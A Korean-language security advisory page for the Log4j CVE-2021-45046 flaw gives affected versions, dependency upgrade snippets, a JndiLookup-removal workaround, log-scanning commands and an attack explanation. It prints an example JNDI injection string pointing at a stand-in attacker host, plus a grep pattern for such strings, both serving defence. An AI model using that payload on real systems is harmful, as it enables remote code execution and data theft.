CVE 데이터베이스CVE-2021-45046

최종 갱신 2026-06-17English Advisory →

CVE-2021-450469.0/CRITICALCISA KEV 등재CWE-917CWE-917

Apache Log4j 2 원격 코드 실행 및 정보 유출 취약점 (CVE-2021-45046) 보안 권고

⚡ 패치 명령어 바로가기

영향받는 벤더 / 생태계

apache

대상 컴포넌트 / 패키지

log4j

권고문 발행일

2021-12-14

CVSS v3.1

9.0

CRITICAL

30일 악용확률

100.0%

FIRST.org

CISA KEV

악용 확인됨

NVD 원문 ↗

실무자 핵심 요약 (Executive Summary)

SECOPS ASSESSMENT

영향 대상

Apache Log4j 2.0-beta9부터 2.15.0 이하 버전 (Java 8 환경의 2.15.0 및 Java 7 환경의 2.12.1 이하 포함)

파급 효과

비기본 설정(Pattern Layout 내 Context Lookup 또는 Thread Context Map 사용) 환경에서 공격자가 JNDI Lookup 패턴을 악용하여 로컬/원격 코드 실행(RCE) 및 민감 정보 유출을 유발할 수 있습니다

권장 조치

즉시 Apache Log4j 버전을 2.16.0(Java 8 이상) 또는 2.12.2(Java 7) 이상으로 업그레이드하고, 불필요한 JNDI 기능을 비활성화하십시오

영향받는 제품 및 버전 범위

Apache Log4j 2.0-beta9 ~ 2.15.0 버전 (단, 2.12.2 및 2.16.0 이상 버전 제외)

권장 패치 및 임시 완화(Workaround) 가이드

패치 및 우회 명령어

1. 공식 보안 패치 및 버전 업그레이드 명령어

가장 확실한 해결책은 취약점이 해결된 최신 버전(Java 8 환경은 2.16.0 이상, Java 7 환경은 2.12.2 이상)으로 의존성을 업그레이드하는 것입니다. 이 버전들에서는 메시지 룩업 패턴 지원이 제거되고 JNDI 기능이 기본적으로 비활성화되었습니다.

Maven 프로젝트 (pom.xml) 수정 예시:

xml

<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.16.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.16.0</version>
  </dependency>
</dependencies>

Gradle 프로젝트 (build.gradle) 수정 예시:

groovy

ext['log4j2.version'] = '2.16.0'
dependencies {
    implementation 'org.apache.logging.log4j:log4j-core:2.16.0'
    implementation 'org.apache.logging.log4j:log4j-api:2.16.0'
}

2. 패치 전 임시 완화(Workaround) 및 접근 제어 설정

즉각적인 패치가 어려운 경우, 클래스패스에서 JndiLookup 클래스를 직접 제거하여 취약한 경로를 물리적으로 차단해야 합니다.

bash

# log4j-core-*.jar 파일에서 JndiLookup 클래스를 강제로 제거합니다.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. 침해 흔적(IoC) 및 로그·버전 점검 스크립트

시스템 내에 취약한 Log4j 라이브러리가 존재하는지 검사하고, 애플리케이션 로그에서 JNDI 주입 시도 흔적을 탐지하는 스크립트입니다.

bash

# 1. 시스템 내 취약한 log4j-core JAR 파일 검색
find / -name 'log4j-core-*.jar' 2>/dev/null

# 2. 애플리케이션 로그 파일에서 JNDI 공격 패턴(ldap, rmi 등) 검색
egrep -I -i -r '\$\{jndi:(ldap|rmi|ldaps|dns|http|iiop|nis|nds):' /var/log/

실무자 패치 대응 자가 점검 체크리스트

0/4 (0%)

권장 아키텍처 방어 통제 (Recommended Security Control)

Snyk Open Source & Container Security

Log4j 2.15.0 이하 버전은 불완전한 패치로 인해 여전히 위험하므로, 즉시 2.16.0(Java 8) 또는 2.12.2(Java 7) 이상으로 업그레이드하십시오.

내 GitHub/GitLab 레포지토리에 이 취약한 패키지가 숨어 있는지 30초 만에 스캔하세요

간접 의존성(Transitive Dependency)에 포함된 취약점은 수동 확인이 불가능합니다. Git 연동 한 번으로 취약 버전 탐지부터 호환성을 유지하는 최소 버전 업그레이드 PR까지 자동 생성하세요.

무료 플랜 지원 · GitHub/GitLab 1클릭 연동

내 프로젝트 무료 취약점 스캔 시작하기

CI/CD 파이프라인에 자동 보안 스캐닝(SAST/SCA) 구축하는 실전 강의

커리큘럼 확인하기

취약점 발생 원리 및 공격 메커니즘

1. 취약점 개요 및 발생 원인 (Root Cause)

본 취약점은 최초의 Log4Shell 취약점(CVE-2021-44228)에 대한 Apache Log4j 2.15.0의 패치가 불완전하여 발생했습니다. Log4j 2.15.0에서는 JNDI 연결 대상을 로컬호스트(localhost)로 제한하는 등의 방어책을 도입했으나, 특정 비기본 설정(Non-default Configuration) 환경에서 이 제한이 우회될 수 있음이 밝혀졌습니다. 구체적으로, 로깅 설정 내 Pattern Layout에서 Context Lookup(예: $${ctx:loginId}) 또는 Thread Context Map 패턴(%X, %mdc, %MDC)을 사용하는 경우, 공격자가 Thread Context Map(MDC) 입력 데이터를 제어하여 JNDI Lookup 패턴을 주입할 수 있는 설계 결함(CWE-917)이 존재합니다.

2. 공격 메커니즘 및 익스플로잇 시나리오

공격자는 HTTP 헤더, 사용자 입력 폼 등 애플리케이션이 수신하여 MDC(Mapped Diagnostic Context)에 기록하는 입력값에 악의적인 JNDI Lookup 문자열(예: ${jndi:ldap://attacker.com/a})을 주입합니다. 시스템이 로그를 기록하는 과정에서 Pattern Layout 해석기가 해당 MDC 값을 평가할 때, 2.15.0의 불완전한 검증 로직을 우회하여 외부 디렉터리 서비스(LDAP/RMI)로의 조회를 시도하게 됩니다. 이 과정에서 공격자가 통제하는 악성 서버로부터 직렬화된 자바 객체나 참조 주소를 전달받아 실행함으로써, 특정 환경에서는 원격 코드 실행(RCE)이 발생하고 모든 환경에서 로컬 코드 실행 및 정보 유출이 가능해집니다.

3. 비즈니스 및 인프라 파급 영향

이 취약점은 CISA KEV(Known Exploited Vulnerabilities) 목록에 등재되어 있으며, EPSS 점수가 0.9998에 달할 정도로 실제 공격에 매우 활발히 악용되는 치명적인 취약점입니다. 공격자가 이 취약점을 성공적으로 익스플로잇할 경우, 대상 애플리케이션이 실행 중인 서버의 시스템 권한을 완전히 탈취할 수 있습니다. 이는 내부망 침투, 데이터베이스 내 민감 정보 유출, 랜섬웨어 배포, 시스템 파괴 등 비즈니스 연속성에 치명적인 마비를 초래할 수 있습니다.

공식 보안 권고문 및 참조 링크

NIST NVD 공식 영문 원문 (Original Record)

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

http://www.openwall.com/lists/oss-security/2021/12/14/4

출처: security@apache.org · Mailing List, Mitigation, Third Party Advisory

http://www.openwall.com/lists/oss-security/2021/12/15/3

출처: security@apache.org · Mailing List, Third Party Advisory

http://www.openwall.com/lists/oss-security/2021/12/18/1

출처: security@apache.org · Mailing List, Third Party Advisory

https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf

출처: security@apache.org · Third Party Advisory

https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf

출처: security@apache.org · Third Party Advisory

https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf

출처: security@apache.org · Third Party Advisory

자주 묻는 실무 질문 (FAQ — CVE-2021-45046)

FAQ

Q1. CVE-2021-45046 취약점의 위험도와 실제 악용 가능성은 어느 정도입니까?

CVE-2021-45046의 기본 점수는 CVSS 9.0 (CRITICAL)이며, 향후 30일 내 실제 악용 확률을 나타내는 EPSS 점수는 100.0%입니다. 현재 미국 CISA KEV(실제 악용이 확인된 취약점 카탈로그)에 등재되어 있으므로 최우선 긴급 패치가 필요합니다.

Q2. CVE-2021-45046에 영향을 받는 벤더와 제품은 무엇입니까?

주요 영향 벤더는 apache이며, 대상 컴포넌트는 log4j입니다. 상세 영향 범위: Apache Log4j 2.0-beta9 ~ 2.15.0 버전 (단, 2.12.2 및 2.16.0 이상 버전 제외)

Q3. 서버 재기동이나 정규 패치 전 즉시 적용할 수 있는 완화 조치(Workaround)는 무엇입니까?

[권장 조치] 즉시 Apache Log4j 버전을 2.16.0(Java 8 이상) 또는 2.12.2(Java 7) 이상으로 업그레이드하고, 불필요한 JNDI 기능을 비활성화하십시오 본문의 패치 및 우회 명령어 섹션과 자가 점검 체크리스트를 참고하여 외부 노출 포트를 차단하거나 WAF 탐지 규칙을 선적용하십시오.

실무자 보고서 워크벤치 연동